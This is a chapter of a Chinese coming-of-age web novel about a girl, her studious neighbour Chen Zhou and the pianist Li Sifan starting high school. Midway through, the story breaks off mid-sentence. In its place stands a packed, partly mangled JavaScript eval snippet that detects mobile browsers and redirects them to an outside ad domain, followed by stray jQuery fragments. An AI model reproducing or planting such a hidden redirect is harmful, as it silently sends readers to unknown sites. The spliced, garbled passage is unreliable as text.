子受 作品

3. 第 3 章

和我妈斗智斗勇的这些年里,我也没少研究说话的艺术,要把最好的消息留到最后说,得到的收益才最大。


于是我和先告诉她,陈州考了第一,不是我们初中的第一,也不是区的第一,是整个澄州市的第一。然后再告诉她,我上了榆中,不是三中,也不是副榜的榆中,是正榜的榆中。


我妈脸上要笑不笑,要怒不怒,最后扯出来一个有点扭曲的表情,对我说:“行,你总算靠了一回谱,回来让你爸带你吃点好的。”


我看着她那张保养的极好,依旧美丽的脸,知道我妈心底到底还是有一点龃龉。毕竟有陈州和李思凡这两颗珠玉在眼前摆着,我这颗顽石就显得太过刺眼了。


但我能考上榆中的正榜已经很让她意外了,也算是个安慰。于是我前几天的窜天入地都被清零,往后还可以过很长一段时间的好日子。


我知道,这还多亏了陈州。


我的放纵到高中临开学的前一天彻底结束,第一是因为我要开学了,第二是因为在这个暑假,隔壁的隔壁的隔壁家的李思凡正式考下了钢琴十级的证书,我妈又该拿我和人家比了,这个时间我最好不要去触我妈的霉头。


我也知道已经在家太长时间,我妈看我早就不耐烦了,于是那几天就天天往陈州家里跑。


陈州爸爸和我爸一样是厂里的职工,他妈则是厂里的护士,家里常年只有他一个人,都快活成留守儿童了,特别清净。


后来想想,这估计也是他不怎么爱说话的原因之一。


甚至连陈州得了第一这件事都没有人为他庆祝,如果放在我身上,我爸妈早就放鞭炮摆席请客了。


不止如此,他爸妈还特别喜欢把他锁在家里,一出门就落上锁。导致我每次找他都像江洋大盗一样翻墙过去,也因此练就了一身鸡鸣狗盗的好本事。


而陈州对我的造访早已经见怪不怪。


我大摇大摆地走进去,堂屋中的电视开着,在放戏曲频道,还是我唯一能听懂的戏曲:驸马爷,近前看端详……


电视机前没有人,他也不爱看电视,我知道他这么做都是为了让房间显得不那么安静。


对于陈州的一切,我都了如指掌。


如我所料,他果然还是窝在房间里看书,我把他从书山里拎出来,吓唬他说:“陈州,再看眼睛都要瞎了!”


他看了我一眼,没说话,又把头埋进了书里。


我试图找一些有趣的事勾住他,却发现陈州已经长大了,不再是跟着我一块上天入地的跟屁虫了。


我们还能一起做什么呢?


我想了想,对他说:“陈州,李思凡钢琴得了十级,我们去听她弹钢琴吧。”


他从书里抬起头,我就知道这事有戏。然后趁热打铁拽住他,把他从那一堆东西里拽起来,扔上墙头,和他一起翻了出去。


我们就这么敲响了李思凡家的门。


李思凡妈妈是个很漂亮很有礼貌的阿姨,对我们小孩子都是热情招待来者不拒,这次也和以前一样,把我和陈州请进去,还给我们切了水果。


李思凡也和以前一样,穿着休闲的家居服,头发扎成一个低马尾,往哪儿一坐就是仙女。


我和陈州并排坐在客厅的沙发上,和幼儿园时在老师面前听训的小朋友一样,认真地听着李思凡弹钢琴。


我这种俗人自然听不出个四六好歹来,但我发现陈州坐的特别直,脸上的表情特别认真,那表情里有一种我和他相处十几年都没见过的敬畏和庄重。


我好奇地扭头再次看李思凡,终究是没瞧出来什么,除了漂亮就是优雅,除了优雅就是漂亮。


可我再看陈州时,却是怎么看怎么别扭。


这时候李思凡的妈妈方阿姨走了过来,手里端着盘子,盘子上放了两个马克杯,走进就能闻见上面飘出的浓香。


方阿姨说:“你们尝尝我们家的咖啡好不好喝,是她舅舅从新加坡那边寄过来的。”


对于咖啡这东西,当时我也只在电视上和书上看到过,我端起杯子尝了一口,苦苦的,没什么滋味。可是陈州对方阿姨说好喝,难道是我的心苦吗?


李思凡手里的钢琴弹完了,从钢琴凳上跳下来和我们坐在一起。小孩子凑在一起,大人就难免问起成绩,方阿姨没有细问,只问我们在哪里上高中。


得知都是榆中的学生之后,她还很开心地让我们以后上下学一起去学校。


我不想和李思凡一起上下学,可我还没想出什么拒绝的话,陈州就点点头答应了。


我那时候觉得,这个家伙真是吃人嘴短,这么快就背叛我了。可直到最后,我才后知后觉地意识到,他似乎从没有站到我的阵营里来。


九月初三,我们高中正式开学,那天我妈送我和陈州一起去上学,领书,领校服,然后报道。


去我班级的时候她都是唠叨着叮嘱个没完,去陈州班级的时候,她整个人好像又容光焕发了。


我和陈州班级挨得很远,他在一班,我在二十三班,如果要见他得要从一楼爬到六楼。反而让我没想到的是,陈州竟然和李思凡分在了一个班级。


我坐在他旁边的空位上分我们的零花钱时,忽然就听见一阵不算小的起哄声,我们俩一起回头看过去,就看见穿着浅蓝色连衣裙的李思凡施施然站在教室门口,什么都不说,就引起一阵骚动。


我听见前面座位的男生兴奋的跟旁边的人说,“就是她,我跟你说过的,中考在考场见的那个贼漂亮的女生,没想到她跟我们一个班呀。”


男生跟着附和:“我去,这是真美女呀。”


陈州只是看了一眼就重新收回了目光,然后旁若无人地和我重新分钱。我看了他一眼,又看了看李思凡,她已经看见了我,径直朝我们走了过来。


“谢羌,我们一个班吗?”她有些惊讶。


我捞起桌子上我的那一叠钱,站起来对她说:“不是,我来找陈州的,那什么,没事我先走了。”


我几乎已经要把心虚两个字全写脸上了,但其实我也不知道为什么心虚,是怕别人知道我其实是二十三那个吊车尾班级的?好像并不是这个。


李思凡干脆在我坐过的位置上坐了下来,和陈州做起了同桌


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148178|164774||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


。我看着他们两个坐在一起的样子,把手里的钱胡乱塞进口袋里,对陈州说:“放学等你啊。”


然后一转身出了他们教室。


就在一只脚踏出班级门槛的时候,我脑子里蹦出来一个词:鸠占鹊巢。


只是谁是鸠谁是鹊,在我心里仍是个亟待考究的问题。


我回头看了看,陈州已经和李思凡交谈上了,我听不见他们说了什么,但能看见有不少人在偷偷看他们,准确的来说是在偷偷看李思凡。


我觉得我好像也跟他们其中一个似的,真屌丝。但又转念想想,我跟他们才不一样呢,那是我的小弟陈州啊,我们两个的关系能和别人一样吗。


我从六楼下了一楼,回到自己的小狗窝里待着果然对味儿不少。上面那群人不是在学习就是在看书,还是这里好,不是在说话就是在聊天。


我很快跟前后左右都打成一片,自我介绍起来:“我叫谢羌,谢谢光临的谢,羌笛何须怨杨柳的羌,以前是二十三中的。”


后面的男生徐川笑了起来:“你怎么初中读二十三中,高中还在二十三班?”


还没等我回答他,就又有女生问了过来:“我刚才看和你一起来的还有一个男生,我好像在荣誉墙看见他的名字了,叫什么来着,好像是陈州。”


说话的女生叫张泽恩,如果不是她提醒,我还不知道榆中还有荣誉墙,也不知道陈州已经这么出名了。


提到他的名字,身边人都朝我看了过来:“真的啊,谢羌,你认识陈州?”


我如实回答:“认识,我们俩是邻居。”


那时我还是有些迟钝的,不明白他们眼中闪烁着的某些光亮到底意味着什么。


不过这个插曲很快被接过去,下午班里的人已经差不多到齐了,班主任也开始露面。班主任是个看起来很好说话的中年男人,带着副眼镜,看起来很好糊弄。


我坐在第四排靠窗的位置,阳光一射进来,特别适合打盹儿。


但毕竟是第一天,我的精神还是挺不错的,兴趣满满地等着班主任的发号施令。可转来转去,说得还是那些车轱辘话,什么这是最关键的一年,一定要认真对待之类的。


到了最后环节就是自我介绍。我记忆力很好,一场自我介绍下来几乎已经把班里的人认全了。


我们班也如我所料不是什么好班,我在这里竟然还名列前茅,多的是副榜生和指标生。班主任看我这么“八面玲珑”,五湖四海皆兄弟的样子,于是大方任命我为生活委员,要我多关照同学们的生活。


我不是多官迷,但还是很开心的,因为我觉得这件事能让我妈也高兴高兴,起码也多了一个头衔。


然而还没等我跟我妈说,就先被陈州泼了一盆冷水。放学他依旧驮着我回家,依旧在路上听见我叽叽喳喳地说今天的经历,说到生活委员时,他就一点不留情地教训:“谢羌你傻啊,这就是份儿吃力不讨好的活,没见人顶屎盆子还跟你一样乐呵的。”


我没说话,却在后面把腿晃荡的更用力表示抗议,心里有点酸酸的。


我有点不喜欢陈州了。